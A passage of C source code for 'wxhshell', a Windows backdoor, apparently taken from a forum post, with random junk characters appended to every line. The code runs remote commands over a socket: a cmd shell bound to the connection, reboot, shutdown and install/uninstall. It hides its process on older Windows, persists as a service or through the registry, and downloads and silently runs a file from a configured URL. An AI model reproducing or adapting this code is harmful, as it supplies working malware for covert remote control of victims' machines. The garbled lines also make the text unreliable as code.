      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mUzNrkG(G  
    break; 7[QU *1bk  
  } __$IbF5  
  // 安装 3~BL!e,  
  case 'i': { }#q9>gx  
    if(Install()) *8U+2zgfC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b/'fC%o,  
    else t/_w}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -c%GlpZw  
    break; 52tIe|KwL  
    } R 3 Eh47  
  // 卸载 =V_} z3b  
  case 'r': { $ # @G!  
    if(Uninstall()) N- ?U2V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QR'"Zw&q5/  
    else hyL3fkMJ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n w @cAv  
    break; e6k}-<W*q  
    } |t|+pBB  
  // 显示 wxhshell 所在路径 z['>`Kt  
  case 'p': { *4r 1g+0  
    char svExeFile[MAX_PATH]; 9">}@1k  
    strcpy(svExeFile,"\n\r"); WYwsTsG{_  
      strcat(svExeFile,ExeFile); 1fQvh/2  
        send(wsh,svExeFile,strlen(svExeFile),0); >ALU}o/  
    break; zrE ~%YR  
    } on(F8%]zE  
  // 重启 z}s0D]$+x  
  case 'b': { Q<d\K(<3?:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4*l ShkL  
    if(Boot(REBOOT)) ,|"tLN *m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ME1lQ7E4B  
    else { `.Y["f 1B  
    closesocket(wsh); Mvrc[s+o  
    ExitThread(0); F^IYx~:  
    } c&3 ]%urL  
    break; b'O>&V`  
    } Gk8"fs  
  // 关机 z*l3O~mZ  
  case 'd': { P 5m{}@g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A"\kdxC  
    if(Boot(SHUTDOWN)) 3otia ;&B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [E2afC>zrl  
    else { 23qTmh  
    closesocket(wsh); HW"|Hm$Y(  
    ExitThread(0); )}=`Gx5+  
    } A<r@,*(g  
    break; AR]y p{NS  
    } II)\rVP5  
  // 获取shell PLKp<kg  
  case 's': { IBf&'/ 8\  
    CmdShell(wsh); rv&(yA  
    closesocket(wsh); S$+vRX7  
    ExitThread(0); ,4jkTQ*@2  
    break; wZh&w<l'  
  } @xm O\  
  // 退出 ['sj'3cW-  
  case 'x': { qWHH% L;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /0d_{Y+9  
    CloseIt(wsh); vO%n~l=  
    break; p8oOm>B96n  
    } x$J1%K*  
  // 离开 2+TCFpv  
  case 'q': { *.r i8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X7?p$!M6;B  
    closesocket(wsh); 9loWh5_1Z  
    WSACleanup(); ~{0:`)2FQ  
    exit(1); a:Y6yg%1>  
    break; \kvd;T#t6  
        } rm;'/l8Y-E  
  } VThcG( NF  
  } uo_Y"QiKEH  
L|qQZ=  
  // 提示信息 wW1aG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gV):3mWC  
} :mX c|W3  
  } ~_QZiuq&  
X_ne#ZPl  
  return; 36*"oD=@  
} 8t!(!<iF0  
#gMMh B=  
// shell模块句柄 '~VKH}b  
int CmdShell(SOCKET sock) f/~"_O%  
{ YxlV2hcX;  
STARTUPINFO si; EQSOEf[  
ZeroMemory(&si,sizeof(si)); e ,/I}W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u&/q7EBfP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l{>fma]7  
PROCESS_INFORMATION ProcessInfo; Uy5IvG;O+  
char cmdline[]="cmd"; =zDU!< U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ JZ I  
  return 0; ?FVX &{{V  
} w>p0ldi  
@v ss:'l  
// 自身启动模式 \6-x~%xK  
int StartFromService(void) }tF/ca:XPQ  
{ -GD_xk  
typedef struct "yCCei,hA?  
{ TUIj-HSe  
  DWORD ExitStatus; bTHKMaGWC  
  DWORD PebBaseAddress; c$rkbbf~V  
  DWORD AffinityMask; 0Jm6 r4s?  
  DWORD BasePriority; KiT>W~  
  ULONG UniqueProcessId; ,a eQXI#@  
  ULONG InheritedFromUniqueProcessId; 8;ke,x  
}   PROCESS_BASIC_INFORMATION; S(.AE@U  
 iE=Yh  
PROCNTQSIP NtQueryInformationProcess; =<e|<EwSZ  
i6?,2\K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %%`Nq&'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #:s*)(Qn  
[4"1TyW  
  HANDLE             hProcess; [mn@/qf  
  PROCESS_BASIC_INFORMATION pbi; AqB5B5}  
SG_^Rd9 D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L{jJDd  
  if(NULL == hInst ) return 0; E0'+]"B  
= I,O+^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VLC<ju!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y (x_bJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); % obR2%  
%'a%ynFs  
  if (!NtQueryInformationProcess) return 0; 1uZ[Ewl]  
(MY#;v\AYE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n1m[7s.[&  
  if(!hProcess) return 0; FB9PIsFS  
ns[v.YDL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {a\O7$A\F  
5ppOG_  
  CloseHandle(hProcess); 'MRvH lCM  
$}_N379&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G# gUd'=M  
if(hProcess==NULL) return 0; lYmqFd~p  
(4cWq!ax<$  
HMODULE hMod; ^q5~;_z|  
char procName[255]; 3('=+d[}Vw  
unsigned long cbNeeded; L^bt-QbhO  
lPx4=O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /ts=DxCC;  
9]fhH  
  CloseHandle(hProcess); M(|Qvh{Q6  
v".q578 0B  
if(strstr(procName,"services")) return 1; // 以服务启动 fftFNHP  
JQ=i{9iJ  
  return 0; // 注册表启动 _x&;Fa%  
} gD10C,{  
{a^A-Xh[u  
// 主模块 0B fqEAl  
int StartWxhshell(LPSTR lpCmdLine) o(w!x!["  
{ k4fc 5P  
  SOCKET wsl; .) uUpY%K^  
BOOL val=TRUE; B4yU}v  
  int port=0; *GleeJWz  
  struct sockaddr_in door; Wt4ROj  
v,y nz'>)  
  if(wscfg.ws_autoins) Install(); '?=SnjMX  
L9Sd4L_e  
port=atoi(lpCmdLine); W2/FGJD  
#N^TqOr  
if(port<=0) port=wscfg.ws_port; \95qH ,w)T  
=F'p#N0_2  
  WSADATA data; -1iKeyyA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hTcy;zLLS  
=+5z;3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A]ZCQ49  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QA>(}u\+  
  door.sin_family = AF_INET; qzS 9ls>>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CF"$&+s9  
  door.sin_port = htons(port); rCfr&>nn  
]x1MB|a6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5I/wP qR[  
closesocket(wsl); 1{l18B`  
return 1; Ri4t/H  
} 2w\$}'  
J@D5C4>i  
  if(listen(wsl,2) == INVALID_SOCKET) { 0 zm)MSg  
closesocket(wsl); R)i  
return 1; y6NOHPp@  
} ie|I*;#  
  Wxhshell(wsl); $* 1?"$LN  
  WSACleanup(); RapHE; <  
F}3<q   
return 0; !`=ms1%U  
e9e%8hL  
} n@n608  
#:C;VAAp  
// 以NT服务方式启动 ASmMj;>UM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <"A|Xv'Q  
{ ^?PU:eS  
DWORD   status = 0; jJFWPD ] u  
  DWORD   specificError = 0xfffffff; <i{O\K]9  
N<lejZ}!q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w1HE^ /  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rt">xVl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7pMl:\  
  serviceStatus.dwWin32ExitCode     = 0; h/~:}Bof  
  serviceStatus.dwServiceSpecificExitCode = 0; r>73IpJI  
  serviceStatus.dwCheckPoint       = 0; #p& &w1  
  serviceStatus.dwWaitHint       = 0; !Ic;;<  
4;"^1 $  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r_C|gfIP  
  if (hServiceStatusHandle==0) return; x ,$N!X  
J-*&&  
status = GetLastError(); W}m-5L  
  if (status!=NO_ERROR) ! |SPOk  
{ qu]ch&"?U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b`"E(S/  
    serviceStatus.dwCheckPoint       = 0; iEx.BQ+  
    serviceStatus.dwWaitHint       = 0; &:}e`u@5|  
    serviceStatus.dwWin32ExitCode     = status; L9tjH C]  
    serviceStatus.dwServiceSpecificExitCode = specificError; u8ofgcFYE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^0"^Xk*  
    return; T}} 0hs;  
  } N]n]7(e+0C  
i9Fg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C!Cg.^;  
  serviceStatus.dwCheckPoint       = 0; 9~+A<X]Hd  
  serviceStatus.dwWaitHint       = 0; 7sP;+G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O7@CAr  
} Eu/~4:XN  
u I$| M  
// 处理NT服务事件,比如:启动、停止 OLXkiesK{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &qw7BuF  
{ $=dp)  
switch(fdwControl) V]b1cDx{  
{ &<I*;z6%t  
case SERVICE_CONTROL_STOP: *r!f! eA:  
  serviceStatus.dwWin32ExitCode = 0; { 3``To$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; csn/h$`-@  
  serviceStatus.dwCheckPoint   = 0; D'V0b"  
  serviceStatus.dwWaitHint     = 0; .K?',x  
  { TU ]Ed*'&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6#~"~WfPQ  
  } xml@]N*D#E  
  return; 49f- u  
case SERVICE_CONTROL_PAUSE: \s<7!NAE4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :}d`$2Dz  
  break; oI=7X*B9  
case SERVICE_CONTROL_CONTINUE: <S~_|Y*v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IOA"O9;  
  break; ,h21 h?6  
case SERVICE_CONTROL_INTERROGATE: ' Cy^G;  
  break; /lAB  
};  >)ZX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =`2nv0%2  
} CU =}]Y  
P.*J'q 28  
// 标准应用程序主函数 nb(4"|8}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RZ)sCR  
{ 4)D#kP  
mhnjY K9  
// 获取操作系统版本 PfX{n5yBW8  
OsIsNt=GetOsVer(); hW*2Le!I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [% chN /  
}Ictnb  
  // 从命令行安装 "=4`RM  
  if(strpbrk(lpCmdLine,"iI")) Install(); *]2LN$  
97:1L4w.(  
  // 下载执行文件 qGMM3a)Q  
if(wscfg.ws_downexe) { ';` fMcN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ke-Q>sm2Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); M0!;{1  
} +3.Ik,Z}zq  
$iQ>c6  
if(!OsIsNt) { \~xI#S@  
// 如果时win9x,隐藏进程并且设置为注册表启动 kg[u@LgvoN  
HideProc(); Ke[doQ#c  
StartWxhshell(lpCmdLine); .(o]d{ '-}  
} F\1nc"K/(  
else  f])?Gw  
  if(StartFromService()) 1lyJ;6i6L  
  // 以服务方式启动 ^q6H =Dl  
  StartServiceCtrlDispatcher(DispatchTable); OJE<2:K  
else fs4pAB#F  
  // 普通方式启动 Hh @q;0ni  
  StartWxhshell(lpCmdLine); K%LDOVE8e  
H e]1 <tx  
return 0; E/cA6*E[.<  
}
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只看该作者 1 发表于: 2006-10-10
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